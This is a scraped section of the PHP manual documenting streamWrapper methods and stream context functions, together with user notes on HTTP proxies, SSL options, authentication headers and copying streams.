  • streamwrapper::url_stat() - Retrieve information about a file

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the current position of a stream

  • « streamWrapper::stream_stat
  • streamWrapper::stream_truncate »
  • PHP Manual
  • streamWrapper
  • Retrieve the current position of a stream

streamWrapper::stream_tell

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_tell — Retrieve the current position of a stream

Description

public int streamWrapper::stream_tell ( void )

This method is called in response to fseek() to determine the current position.

Parameters

This function has no parameters.

Return Values

Should return the current position of the stream.

See Also

  • streamWrapper::stream_tell()

User Contributed Notes

There are no user contributed notes for this page.


Truncate stream

  • « streamWrapper::stream_tell
  • streamWrapper::stream_write »
  • PHP Manual
  • streamWrapper
  • Truncate stream

streamWrapper::stream_truncate

(PHP 5 >= 5.4.0)

streamWrapper::stream_truncate — Truncate stream

Description

public bool streamWrapper::stream_truncate ( int $new_size )

Will respond to truncation, e.g., through ftruncate().

Parameters

new_size

The new size.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ftruncate() - Truncates a file to a given length

User Contributed Notes

There are no user contributed notes for this page.


Write to stream

  • « streamWrapper::stream_truncate
  • streamWrapper::unlink »
  • PHP Manual
  • streamWrapper
  • Write to stream

streamWrapper::stream_write

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_write — Write to stream

Description

public int streamWrapper::stream_write ( string $data )

This method is called in response to fwrite().

Note:

Remember to update the current position of the stream by number of bytes that were successfully written.

Parameters

data

Should be stored into the underlying stream.

Note:

If there is not enough room in the underlying stream, store as much as possible.

Return Values

Should return the number of bytes that were successfully stored, or 0 if none could be stored.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Note:

If the return value is greater the length of data, E_WARNING will be emitted and the return value will truncated to its length.

See Also

  • fwrite() - Binary-safe file write

User Contributed Notes

There are no user contributed notes for this page.


Delete a file

  • « streamWrapper::stream_write
  • streamWrapper::url_stat »
  • PHP Manual
  • streamWrapper
  • Delete a file

streamWrapper::unlink

(PHP 5)

streamWrapper::unlink — Delete a file

Description

public bool streamWrapper::unlink ( string $path )

This method is called in response to unlink().

Note:

In order for the appropriate error message to be returned this method should not be defined if the wrapper does not support removing files.

Parameters

path

The file URL which should be deleted.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Notes

Note:

The streamWrapper::$context property is updated if a valid context is passed to the caller function.

See Also

  • unlink() - Deletes a file
  • streamWrapper::rmdir() - Removes a directory

User Contributed Notes

There are no user contributed notes for this page.


Retrieve information about a file

  • « streamWrapper::unlink
  • Stream Functions »
  • PHP Manual
  • streamWrapper
  • Retrieve information about a file

streamWrapper::url_stat

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::url_stat — Retrieve information about a file

Description

public array streamWrapper::url_stat ( string $path , int $flags )

This method is called in response to all stat() related functions, such as:

  • chmod() (only when safe_mode is enabled)
  • copy()
  • fileperms()
  • fileinode()
  • filesize()
  • fileowner()
  • filegroup()
  • fileatime()
  • filemtime()
  • filectime()
  • filetype()
  • is_writable()
  • is_readable()
  • is_executable()
  • is_file()
  • is_dir()
  • is_link()
  • file_exists()
  • lstat()
  • stat()
  • SplFileInfo::getPerms()
  • SplFileInfo::getInode()
  • SplFileInfo::getSize()
  • SplFileInfo::getOwner()
  • SplFileInfo::getGroup()
  • SplFileInfo::getATime()
  • SplFileInfo::getMTime()
  • SplFileInfo::getCTime()
  • SplFileInfo::getType()
  • SplFileInfo::isWritable()
  • SplFileInfo::isReadable()
  • SplFileInfo::isExecutable()
  • SplFileInfo::isFile()
  • SplFileInfo::isDir()
  • SplFileInfo::isLink()
  • RecursiveDirectoryIterator::hasChildren()

Parameters

path

The file path or URL to stat. Note that in the case of a URL, it must be a :// delimited URL. Other URL forms are not supported.

flags

Holds additional flags set by the streams API. It can hold one or more of the following values OR'd together.

Flag | Description
STREAM_URL_STAT_LINK | For resources with the ability to link to other resource (such as an HTTP Location: forward, or a filesystem symlink). This flag specified that only information about the link itself should be returned, not the resource pointed to by the link. This flag is set in response to calls to lstat(), is_link(), or filetype().
STREAM_URL_STAT_QUIET | If this flag is set, your wrapper should not raise any errors. If this flag is not set, you are responsible for reporting errors using the trigger_error() function during stating of the path.

Return Values

Should return as many elements as stat() does. Unknown or unavailable values should be set to a rational value (usually 0).

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Notes

Note:

The streamWrapper::$context property is updated if a valid context is passed to the caller function.

See Also

  • stat() - Gives information about a file
  • streamwrapper::stream_stat() - Retrieve information about a file resource

User Contributed Notes

There are no user contributed notes for this page.


Stream Functions

Table of Contents

  • set_socket_blocking — Alias of stream_set_blocking
  • stream_bucket_append — Append bucket to brigade
  • stream_bucket_make_writeable — Return a bucket object from the brigade for operating on
  • stream_bucket_new — Create a new bucket for use on the current stream
  • stream_bucket_prepend — Prepend bucket to brigade
  • stream_context_create — Creates a stream context
  • stream_context_get_default — Retrieve the default stream context
  • stream_context_get_options — Retrieve options for a stream/wrapper/context
  • stream_context_get_params — Retrieves parameters from a context
  • stream_context_set_default — Set the default stream context
  • stream_context_set_option — Sets an option for a stream/wrapper/context
  • stream_context_set_params — Set parameters for a stream/wrapper/context
  • stream_copy_to_stream — Copies data from one stream to another
  • stream_encoding — Set character set for stream encoding
  • stream_filter_append — Attach a filter to a stream
  • stream_filter_prepend — Attach a filter to a stream
  • stream_filter_register — Register a user defined stream filter
  • stream_filter_remove — Remove a filter from a stream
  • stream_get_contents — Reads remainder of a stream into a string
  • stream_get_filters — Retrieve list of registered filters
  • stream_get_line — Gets line from stream resource up to a given delimiter
  • stream_get_meta_data — Retrieves header/meta data from streams/file pointers
  • stream_get_transports — Retrieve list of registered socket transports
  • stream_get_wrappers — Retrieve list of registered streams
  • stream_is_local — Checks if a stream is a local stream
  • stream_notification_callback — A callback function for the notification context parameter
  • stream_register_wrapper — Alias of stream_wrapper_register
  • stream_resolve_include_path — Resolve filename against the include path
  • stream_select — Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec
  • stream_set_blocking — Set blocking/non-blocking mode on a stream
  • stream_set_chunk_size — Set the stream chunk size
  • stream_set_read_buffer — Set read file buffering on the given stream
  • stream_set_timeout — Set timeout period on a stream
  • stream_set_write_buffer — Sets write file buffering on the given stream
  • stream_socket_accept — Accept a connection on a socket created by stream_socket_server
  • stream_socket_client — Open Internet or Unix domain socket connection
  • stream_socket_enable_crypto — Turns encryption on/off on an already connected socket
  • stream_socket_get_name — Retrieve the name of the local or remote sockets
  • stream_socket_pair — Creates a pair of connected, indistinguishable socket streams
  • stream_socket_recvfrom — Receives data from a socket, connected or not
  • stream_socket_sendto — Sends a message to a socket, whether it is connected or not
  • stream_socket_server — Create an Internet or Unix domain server socket
  • stream_socket_shutdown — Shutdown a full-duplex connection
  • stream_supports_lock — Tells whether the stream supports locking.
  • stream_wrapper_register — Register a URL wrapper implemented as a PHP class
  • stream_wrapper_restore — Restores a previously unregistered built-in wrapper
  • stream_wrapper_unregister — Unregister a URL wrapper

User Contributed Notes

marcus at synchromedia dot co dot uk 16-Nov-2007 12:13
I can't find any real documentation on the quoted-printable-encode stream filter, but I've gathered info from several places. It seems there are 4 options that can be passed in the param array as in my other note on this subject:

line-length: integer, simply sets line length before a soft break is inserted
line-break-chars: Which char or chars to consider as a line break - note that "\r\n" will only match CRLF, not CR or LF, so make sure it matches your content.
binary: boolean, hex encodes all control chars, including spaces and line breaks, but leaves alphanumerics untouched
force-encode-first: Forcibly hex-encodes the first char on each line, even if it's alphanumeric. This is useful for avoiding corruption in some incompetent mail servers, like Exchange.
marcus at synchromedia dot co dot uk 30-Oct-2006 07:16
As this article says, there is no quoted_printable_encode function() in PHP: http://www.zend.com/manual/filters.convert.php

However there is a stream filter for quoted printable encoding. Here's an example function that produces output suitable for email and doesn't explicitly use external files (though it might do for strings over 2Mb due to the nature of the temp stream type):

<?php
function quoted_printable_encode($string) {
        $fp = fopen('php://temp/', 'r+');
        $params = array('line-length' => 70, 'line-break-chars' => "\r\n");
        stream_filter_append($fp, 'convert.quoted-printable-encode', STREAM_FILTER_READ, $params);
        fputs($fp, $string);
        rewind($fp);
        return stream_get_contents($fp);
}

echo quoted_printable_encode(str_repeat("hello there ", 50)." a=1\r\n")."\n";
?>

The filter needs to be restricted to STREAM_FILTER_READ because by default it will get filtered both going into and out of the stream, and will thus get encoded twice.

It should be much faster than using a PHP implementation of the same thing, though note that this will only work in PHP 5.1+.
jausions at php dot net 16-May-2006 05:59
For the "notification" index of the $params for stream_context_set_params() function, a callable function is accepted. That is array(&$object, 'methodName') will also work.


Alias of stream_set_blocking

  • « Stream Functions
  • stream_bucket_append »
  • PHP Manual
  • Stream Functions
  • Alias of stream_set_blocking

set_socket_blocking

(PHP 4, PHP 5)

set_socket_blocking — Alias of stream_set_blocking()

Description

This function is an alias of: stream_set_blocking()

Warning

This alias has been DEPRECATED as of PHP 5.3.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Append bucket to brigade

  • « set_socket_blocking
  • stream_bucket_make_writeable »
  • PHP Manual
  • Stream Functions
  • Append bucket to brigade

stream_bucket_append

(PHP 5)

stream_bucket_append — Append bucket to brigade

Description

void stream_bucket_append ( resource $brigade , resource $bucket )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Return a bucket object from the brigade for operating on

  • « stream_bucket_append
  • stream_bucket_new »
  • PHP Manual
  • Stream Functions
  • Return a bucket object from the brigade for operating on

stream_bucket_make_writeable

(PHP 5)

stream_bucket_make_writeable — Return a bucket object from the brigade for operating on

Description

object stream_bucket_make_writeable ( resource $brigade )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Create a new bucket for use on the current stream

  • « stream_bucket_make_writeable
  • stream_bucket_prepend »
  • PHP Manual
  • Stream Functions
  • Create a new bucket for use on the current stream

stream_bucket_new

(PHP 5)

stream_bucket_new — Create a new bucket for use on the current stream

Description

object stream_bucket_new ( resource $stream , string $buffer )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Prepend bucket to brigade

  • « stream_bucket_new
  • stream_context_create »
  • PHP Manual
  • Stream Functions
  • Prepend bucket to brigade

stream_bucket_prepend

(PHP 5)

stream_bucket_prepend — Prepend bucket to brigade

Description

void stream_bucket_prepend ( resource $brigade , resource $bucket )

This function can be called to prepend a bucket to a bucket brigade. It is typically called from php_user_filter::filter().

Parameters

brigade

brigade is a resource pointing to a bucket brigade which contains one or more bucket objects.

bucket

A bucket object.

Return Values

No value is returned.

Examples

Example #1 stream_bucket_prepend() examples

<?php

class foo extends php_user_filter {
  protected $calls = 0;
  public function filter($in, $out, &$consumed, $closing) {
    while ($bucket = stream_bucket_make_writeable($in)) {
      $consumed += $bucket->datalen;
      if ($this->calls++ == 2) {
        // This bucket will appear again before any other bucket.
        stream_bucket_prepend($in, $bucket);
      }
    }
    return PSFS_FEED_ME;
  }
}
stream_filter_register('test', 'foo');
print  file_get_contents('php://filter/read=test/resource=foo');
?>

User Contributed Notes

There are no user contributed notes for this page.


Creates a stream context

  • « stream_bucket_prepend
  • stream_context_get_default »
  • PHP Manual
  • Stream Functions
  • Creates a stream context

stream_context_create

(PHP 4 >= 4.3.0, PHP 5)

stream_context_create — Creates a stream context

Description

resource stream_context_create ([ array $options [, array $params ]] )

Creates and returns a stream context with any options supplied in options preset.

Parameters

options

Must be an associative array of associative arrays in the format $arr['wrapper']['option'] = $value.

Default to an empty array.

params

Must be an associative array in the format $arr['parameter'] = $value. Refer to context parameters for a listing of standard stream parameters.

Return Values

A stream context resource.

Changelog

Version | Description
5.3.0 | Added the optional params argument.

Examples

Example #1 Using stream_context_create()

<?php
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar\r\n"
  )
);

$context = stream_context_create($opts);

/* Sends an http request to www.example.com
   with additional headers shown above */
$fp = fopen('http://www.example.com', 'r', false, $context);
fpassthru($fp);
fclose($fp);
?>

See Also

  • stream_context_set_option() - Sets an option for a stream/wrapper/context
  • Listing of supported wrappers (Supported Protocols and Wrappers)
  • Context options (Context options and parameters)

User Contributed Notes

Ben J 09-Jan-2013 12:28
I spent a good five hours trying to figure this out, so hopefully it will save someone else some time.

When you are trying to download a file via ftp through an HTTP proxy note that the following will not be enough:
<?php
$opts = array('ftp' => array(
    'proxy' => 'tcp://vbinprst10:8080',
    'request_fulluri'=>true,
    'header' => array(
        "Proxy-Authorization: Basic $auth"
        )
    )
);
$context = stream_context_create($opts);
$s = file_get_contents("ftp://anonymous:anonymous@ftp.example.org",false,$context);
?>

Your proxy will respond that authentication is required. You may scratch your head and think "but I'm providing authentication!"

The issue is that the 'header' value is only applicable to http connections. So to authenticate on a proxy, you first have to pull a file from HTTP, before the context is valid for using on FTP.
<?php
$opts = array('ftp' => array(
    'proxy' => 'tcp://vbinprst10:8080',
    'request_fulluri'=>true,
    'header' => array(
        "Proxy-Authorization: Basic $auth"
        )
    ),
    'http' => array(
    'proxy' => 'tcp://vbinprst10:8080',
    'request_fulluri'=>true,
    'header' => array(
        "Proxy-Authorization: Basic $auth"
        )
    )
);
$context = stream_context_create($opts);
$s = file_get_contents("http://www.example.com",false,$context);
$s = file_get_contents("ftp://anonymous:anonymous@ftp.example.org",false,$context);
?>

It's a bit roundabout, but it works. Note that the 'header' val in the ftp array is redundant, but I kept it in anyway.
louis dot huppenbauer at gmail dot com 25-Sep-2012 03:04
When using the https protocol you'll have to make sure to set the right context options to use the full "power" of the ssl/tls encryption.

<?php
$url = 'https://secure.example.com/test/1';
$contextOptions = array(
    'ssl' => array(
        'verify_peer'   => true,
        'cafile'        => __DIR__ . '/cacert.pem',
        'verify_depth'  => 5,
        'CN_match'      => 'secure.example.com'
    )
);
$sslContext = stream_context_create($contextOptions);
$result = file_get_contents($url, NULL, $sslContext);
?>

More information about those context options can be found at http://php.net/manual/en/context.ssl.php
Anonymous 23-Oct-2010 07:45
If you are trying to set a custom http header on php 5.2.x, try this:

<?php
// build header and set it the usual way
$authenticationHeader = $headername . ': ' . $headervalue;
$opts = array(
    'http' => array(
        'header'  => $authenticationHeader
    )
);
// workaround for php bug where http headers don't get sent in php 5.2
if(version_compare(PHP_VERSION, '5.3.0') == -1){
    ini_set('user_agent', 'PHP-SOAP/' . PHP_VERSION . "\r\n" . $authenticationHeader);
}

$context  = stream_context_create($opts);

// now use context for soap call or whatever...
?>

this is the only option that worked for me.
contact (at) thepointsolution.com 12-Aug-2010 02:29
I big NOTE that i hope will help some one. Something that is not mentioned in the documentation, is that when php is compiled --with-curlwrappers,

So, instead of:

<?php
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar\r\n"
  )
);

$context = stream_context_create($opts);
?>

You would setup the header this way:

<?php
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>array("Accept-language: en",
                           "Cookie: foo=bar",
                           "Custom-Header: value")
  )
);

$context = stream_context_create($opts);
?>

This will work.
mathieu dot laurent at gmail dot com 30-Jul-2009 03:15
Connection via Proxy

<?php

$opts = array('http' => array('proxy' => 'tcp://127.0.0.1:8080', 'request_fulluri' => true));
$context = stream_context_create($opts);

$data = file_get_contents('http://www.php.net', false, $context);

echo $data;

?>
Brian Gottier 16-May-2009 09:13
In some cases, set a header option as an array, and not a string, depending on server configuration.

<?php
$opts = array(
  'http'=> array(
    'method'=>   "GET",
    'header'=>    array( "Cookie: foo="bar"l ),
    'user_agent'=>    $_SERVER['HTTP_USER_AGENT']
  )
);
?>
rlintern at gmail dot com 20-Feb-2009 06:56
I found the following code worked for me for POSTing some binary data to a remote server. I am putting it here since I could not find a quick solution to this by 'googling' or looking through this documentation.

Disclaimer:  I have no idea if this a 'good' solution, since I'm new to PHP, but it may just suit your needs as it did mine.  I am assuming bad things will happen with very large files since the entire file is read into $fileContents.

I am using PHP 5.2.8.

   $fileHandle = fopen("someImage.jpg", "rb");
   $fileContents = stream_get_contents($fileHandle);
   fclose($fileHandle);

   $params = array(
      'http' => array
      (
          'method' => 'POST',
          'header'=>"Content-Type: multipart/form-data\r\n",
          'content' => $fileContents
      )
   );
   $url = "http://somesite.somecompany.com?someParam=someValue";
   $ctx = stream_context_create($params);
   $fp = fopen($url, 'rb', false, $ctx);

   $response = stream_get_contents($fp);
davep at atomicdroplet dot com 18-May-2007 01:02
In addition to the context options mentioned above (appendix N), lower down context options for sockets can be found in appendix P - http://www.php.net/manual/en/transports.php
jrubenstein at gmail dot com 27-Apr-2007 06:36
Something to keep in mind when creating SSL streams (using https://):

<?php
$context = context_create_stream($context_options)
$fp = fopen('https://url', 'r', false, $context);
?>

One would think - the proper way to create a stream options array, would be as follows:

<?php
$context_options = array (
        'https' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
                . "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
            )
        );
?>

THAT IS THE WRONG WAY!!!
Take notice to the 3rd line: 'https' => array (

The CORRECT way, is as follows:

<?php
$context_options = array (
        'http' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
                . "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
            )
        );
?>

Notice, the NEW 3rd line: 'http' => array (

Now - keep this in mind - I spent several hours trying to trouble shoot my issue, when I finally stumbled upon this non-documented issue.

The complete code to post to a secure page is as follows:

<?php
$data = array ('foo' => 'bar', 'bar' => 'baz');
$data = http_build_query($data);

$context_options = array (
        'http' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
                . "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
            )
        );

$context = context_create_stream($context_options)
$fp = fopen('https://url', 'r', false, $context);
?>
chris dot vigelius at gmx dot net 11-Apr-2007 02:34
It seems that the authorization example given below by"php at charlesconsulting dot com" does NOT work with PHP 5.2.1, since the 'header' option will be simply ignored if it is not an array (but a string).

The following works:
$url = 'http://protectedstuff.com';
$auth = base64_encode('user:password');
$header = array("Authorization: Basic $auth");
$opts = array( 'http' => array ('method'=>'GET',
                                           'header'=>$header));
$ctx = stream_context_create($opts);
file_get_contents($url,false,$ctx);

See also http://bugs.php.net/bug.php?id=41051
php at charlesconsulting dot com 13-Jan-2007 04:14
Here's an example of retrieving a page which requests a username and password using the basic authorization scheme.  This calls the w3.org web page validator for a password protected page.
//$fileurl contains page to validate
$validateurl="http://validator.w3.org/check?uri=$fileurl";

$cred = sprintf('Authorization: Basic %s',
    base64_encode('username:password') );
$opts = array(
    'http'=>array(
    'method'=>'GET',
    'header'=>$cred)
);
$ctx = stream_context_create($opts);

$validate=file_get_contents($validateurl,false,$ctx);
sp0n9e at gmail dot com 29-Dec-2006 07:18
Here's a very simple way to do posts easily without need of cURL or writing an http request by hand using the tcp:// wrapper.  I like using contexts just because of their ubiquity and the lack of an optional library such as cURL (though one of the more popular libraries).

<?php

$options = array(
  'http'=>array(
    'method'=>"POST",
    'header'=>
      "Accept-language: en\r\n".
      "Content-type: application/x-www-form-urlencoded\r\n",
    'content'=>http_build_query(array('foo'=>'bar'))
));

$context = stream_context_create($options);

fopen('http://www.example.com/',false,$context);

?>
net_navard at yahoo dot com 10-Dec-2005 07:38
Hi,you can create an array of parameters(what it's called a stream context),which can be transmitted each time you read or write a stream through a socket.In the below example:

$opts =array('http'=>arra('method'=>"GET",
'header'=>"Accept-language:en\r\n"."Cookie: foo=bar\r\n");

What you're actually doing is create a set of parameters(the protocol to be used,the request method,additional http headers and a cookie) which will be used each time you open a socket connection to request www.example.com.This saves a lot of time if you want to use these parameters (called a stream context) whenever you include them when making a request to www.example.com,instead of having to specify them over and over again.
Using the previous example,say you want to create a stream context,which sends a "Content-Type" http header and utilize it when making a request to www.example.com.Take a look:

$opts = array('http'=>array('method'=>"GET",
'header'=>"Content-Type: text/xml; charset=utf-8");

$context = stream_context_create($opts);
$fp = fopen('http://www.example.com','r',false,$context);
fpassthru($fp);
fclose($fp);

Now,when you make a request to www.example.com,the above http header will be included within the socket and transmitted to the server.Best of luck for you friends,Hossein


Retrieve the default stream context

  • « stream_context_create
  • stream_context_get_options »
  • PHP Manual
  • Stream Functions
  • Retrieve the default stream context

stream_context_get_default

(PHP 5 >= 5.1.0)

stream_context_get_default — Retrieve the default stream context

Description

resource stream_context_get_default ([ array $options ] )

Returns the default stream context which is used whenever file operations (fopen(), file_get_contents(), etc...) are called without a context parameter. Options for the default context can optionally be specified with this function using the same syntax as stream_context_create().

Parameters

options
options must be an associative array of associative arrays in the format $arr['wrapper']['option'] = $value.

Note:

As of PHP 5.3.0, the stream_context_set_default() function can be used to set the default context.

Return Values

A stream context resource.

Examples

Example #1 Using stream_context_get_default()

<?php
$default_opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar",
    'proxy'=>"tcp://10.54.1.39:8000"
  )
);

$alternate_opts = array(
  'http'=>array(
    'method'=>"POST",
    'header'=>"Content-type: application/x-www-form-urlencoded\r\n" .
              "Content-length: " . strlen("baz=bomb"),
    'content'=>"baz=bomb"
  )
);

$default = stream_context_get_default($default_opts);
$alternate = stream_context_create($alternate_opts);

/* Sends a regular GET request to proxy server at 10.54.1.39
 * For www.example.com using context options specified in $default_opts
 */
readfile('http://www.example.com');

/* Sends a POST request directly to www.example.com
 * Using context options specified in $alternate_opts
 */
readfile('http://www.example.com', false, $alternate);

?>

See Also

  • stream_context_create() - Creates a stream context
  • Listing of supported wrappers with context options (Supported Protocols and Wrappers).

User Contributed Notes

RQuadling at GMail dot com 02-Jan-2007 10:02
If you are using stream_context_get_default() and are still finding that some functions do not work, make sure that they are not based upon the libxml functions (DOM, SimpleXML and XSLT). These require their own context.

You can easily set them using the following code ...

<?php
// Define the default, system-wide context.
$r_default_context = stream_context_get_default
    (
    array
        (
        'http' => array
            ( // All HTTP requests are passed through the local NTLM proxy server on port 8080.
            'proxy' => 'tcp://127.0.0.1:8080',
            'request_fulluri' => True,
            ),
        )
    );

// Though we said system wide, some extensions need a little coaxing.
libxml_set_streams_context($r_default_context);
?>


Retrieve options for a stream/wrapper/context

  • « stream_context_get_default
  • stream_context_get_params »
  • PHP Manual
  • Stream Functions
  • Retrieve options for a stream/wrapper/context

stream_context_get_options

(PHP 4 >= 4.3.0, PHP 5)

stream_context_get_options — Retrieve options for a stream/wrapper/context

Description

array stream_context_get_options ( resource $stream_or_context )

Returns an array of options on the specified stream or context.

Parameters

stream_or_context

The stream or context to get options from

Return Values

Returns an associative array with the options.

Examples

Example #1 stream_context_get_options() example

<?php
$params = array("method" => "POST");

stream_context_get_default(array("http" => $params));

var_dump(stream_context_get_options(stream_context_get_default()));

?>

The above example will output something similar to:

array(1) {
  ["http"]=>
  array(1) {
    ["method"]=>
    string(4) "POST"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Retrieves parameters from a context

  • « stream_context_get_options
  • stream_context_set_default »
  • PHP Manual
  • Stream Functions
  • Retrieves parameters from a context

stream_context_get_params

(PHP 5 >= 5.3.0)

stream_context_get_params — Retrieves parameters from a context

Description

array stream_context_get_params ( resource $stream_or_context )

Retrieves parameter and options information from the stream or context.

Parameters

stream_or_context

A stream resource or a context resource

Return Values

Returns an associate array containing all context options and parameters.

Examples

Example #1 stream_context_get_params() example

Basic usage example

<?php
$ctx = stream_context_create();
$params = array("notification" => "stream_notification_callback");
stream_context_set_params($ctx, $params);

var_dump(stream_context_get_params($ctx));
?>

The above example will output something similar to:

array(2) {
  ["notification"]=>
  string(28) "stream_notification_callback"
  ["options"]=>
  array(0) {
  }
}

See Also

  • stream_context_set_option() - Sets an option for a stream/wrapper/context
  • stream_context_get_params()
  • stream_context_set_params() - Set parameters for a stream/wrapper/context

User Contributed Notes

There are no user contributed notes for this page.


Set the default stream context

  • « stream_context_get_params
  • stream_context_set_option »
  • PHP Manual
  • Stream Functions
  • Set the default stream context

stream_context_set_default

(PHP 5 >= 5.3.0)

stream_context_set_default — Set the default stream context

Description

resource stream_context_set_default ( array $options )

Set the default stream context which will be used whenever file operations (fopen(), file_get_contents(), etc...) are called without a context parameter. Uses the same syntax as stream_context_create().

Parameters

options

The options to set for the default context.

Note:

options must be an associative array of associative arrays in the format $arr['wrapper']['option'] = $value.

Return Values

Returns the default stream context.

Examples

Example #1 stream_context_set_default() example

<?php
$default_opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar",
    'proxy'=>"tcp://10.54.1.39:8000"
  )
);

$default = stream_context_set_default($default_opts);

/* Sends a regular GET request to proxy server at 10.54.1.39
 * For www.example.com using context options specified in $default_opts
 */
readfile('http://www.example.com');
?>

See Also

  • stream_context_create() - Creates a stream context
  • stream_context_get_default() - Retrieve the default stream context
  • Listing of supported wrappers with context options (Supported Protocols and Wrappers).

User Contributed Notes

There are no user contributed notes for this page.


Sets an option for a stream/wrapper/context

  • « stream_context_set_default
  • stream_context_set_params »
  • PHP Manual
  • Stream Functions
  • Sets an option for a stream/wrapper/context

stream_context_set_option

(PHP 4 >= 4.3.0, PHP 5)

stream_context_set_option — Sets an option for a stream/wrapper/context

Description

bool stream_context_set_option ( resource $stream_or_context , string $wrapper , string $option , mixed $value )
bool stream_context_set_option ( resource $stream_or_context , array $options )

Sets an option on the specified context. value is set to option for wrapper

Parameters

stream_or_context

The stream or context resource to apply the options to.

options

The options to set for the default context.

Note:

options must be an associative array of associative arrays in the format $arr['wrapper']['option'] = $value.

Refer to context options and parameters for a listing of stream options.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set parameters for a stream/wrapper/context

  • « stream_context_set_option
  • stream_copy_to_stream »
  • PHP Manual
  • Stream Functions
  • Set parameters for a stream/wrapper/context

stream_context_set_params

(PHP 4 >= 4.3.0, PHP 5)

stream_context_set_params — Set parameters for a stream/wrapper/context

Description

bool stream_context_set_params ( resource $stream_or_context , array $params )

Sets parameters on the specified context.

Parameters

stream_or_context

The stream or context to apply the parameters too.

params

An array of parameters to set.

Note:

params should be an associative array of the structure: $params['paramname'] = "paramvalue";.

Supported parameters

Parameters | Purpose
notification | Name of user-defined callback function to be called whenever a stream triggers a notification.
options | Array of options as in context options and parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • stream_notification_callback() - A callback function for the notification context parameter

User Contributed Notes

There are no user contributed notes for this page.


Copies data from one stream to another

  • « stream_context_set_params
  • stream_encoding »
  • PHP Manual
  • Stream Functions
  • Copies data from one stream to another

stream_copy_to_stream

(PHP 5)

stream_copy_to_stream — Copies data from one stream to another

Description

int stream_copy_to_stream ( resource $source , resource $dest [, int $maxlength = -1 [, int $offset = 0 ]] )

Makes a copy of up to maxlength bytes of data from the current position (or from the offset position, if specified) in source to dest. If maxlength is not specified, all remaining content in source will be copied.

Parameters

source

The source stream

dest

The destination stream

maxlength

Maximum bytes to copy

offset

The offset where to start to copy data

Return Values

Returns the total count of bytes copied.

Changelog

Version | Description
5.1.0 | Added the offset parameter

Examples

Example #1 A stream_copy_to_stream() example

<?php
$src = fopen('http://www.example.com', 'r');
$dest1 = fopen('first1k.txt', 'w');
$dest2 = fopen('remainder.txt', 'w');

echo stream_copy_to_stream($src, $dest1, 1024) . " bytes copied to first1k.txt\n";
echo stream_copy_to_stream($src, $dest2) . " bytes copied to remainder.txt\n";

?>

See Also

  • copy() - Copies file

User Contributed Notes

felix dot nensa at gmail dot com 27-May-2010 01:57
As stream_copy_to_stream() seems to be quite a memory hog (at least in PHP 5.1.6 64-bit) it may be way more efficient just to copy streams with this simple PHP alternative:

<?php

    function pipe_streams($in, $out)
    {
        $size = 0;
        while (!feof($in)) $size += fwrite($out,fread($in,8192));
        return $size;
    }

?>
sundance2001 guess what gmail.com 25-Jul-2007 03:54
If you need to copy a file from any website into yours you can use following function:

function getUrlContents($url)
{
   $url_parsed = parse_url($url);

   $host = $url_parsed["host"];
   if ($url == '' || $host == '') {
       return false;
   }
   $port = 80;
   $path = (empty($url_parsed["path"]) ? '/' : $url_parsed["path"]);
   $path.= (!empty($url_parsed["query"]) ? '?'.$url_parsed["query"] : '');
   $out = "GET $path HTTP/1.0\r\nHost: $host\r\nConnection: Close\r\n\r\n";
   $fp = fsockopen($host, $port, $errno, $errstr, 30);
   fwrite($fp, $out);
   $headers = '';
   $content = '';
   $buf = '';
   $isBody = false;
  while (!feof($fp) and !$isBody) {
          $buf = fgets($fp, 1024);
          if ($buf == "\r\n" ) {$isBody = true;}
          else{$headers .= $buf;}
          }
          $file1 = fopen(basename($url_parsed["path"]), 'w');
          $bytes=stream_copy_to_stream($fp,$file1);
   fclose($fp);
   return $bytes;
}
none at noone dot com 16-Jun-2007 01:27
stream_copy_to_stream almost copies a stream...

$objInputStream = fopen("php://input", "rb");
$objTempStream = fopen("php://temp", "w+b");
stream_copy_to_stream($objInputStream, $objTempStream);

That code will copy a stream but it will also move the stream pointers to EOF.  This is fine if you plan on rewinding the temp stream but good luck rewinding the input stream.

rewind($objTempStream);
rewind($objInputStream);

So as you can see this is stream copy or stream move depending on what kind of stream you are working with, and because there are no peaking functions your effed if you need to read from an input stream in multiple classes that are unrelated.


Set character set for stream encoding

  • « stream_copy_to_stream
  • stream_filter_append »
  • PHP Manual
  • Stream Functions
  • Set character set for stream encoding

stream_encoding

(No version information available, might only be in Git)

stream_encoding — Set character set for stream encoding

Description

bool stream_encoding ( resource $stream [, string $encoding ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

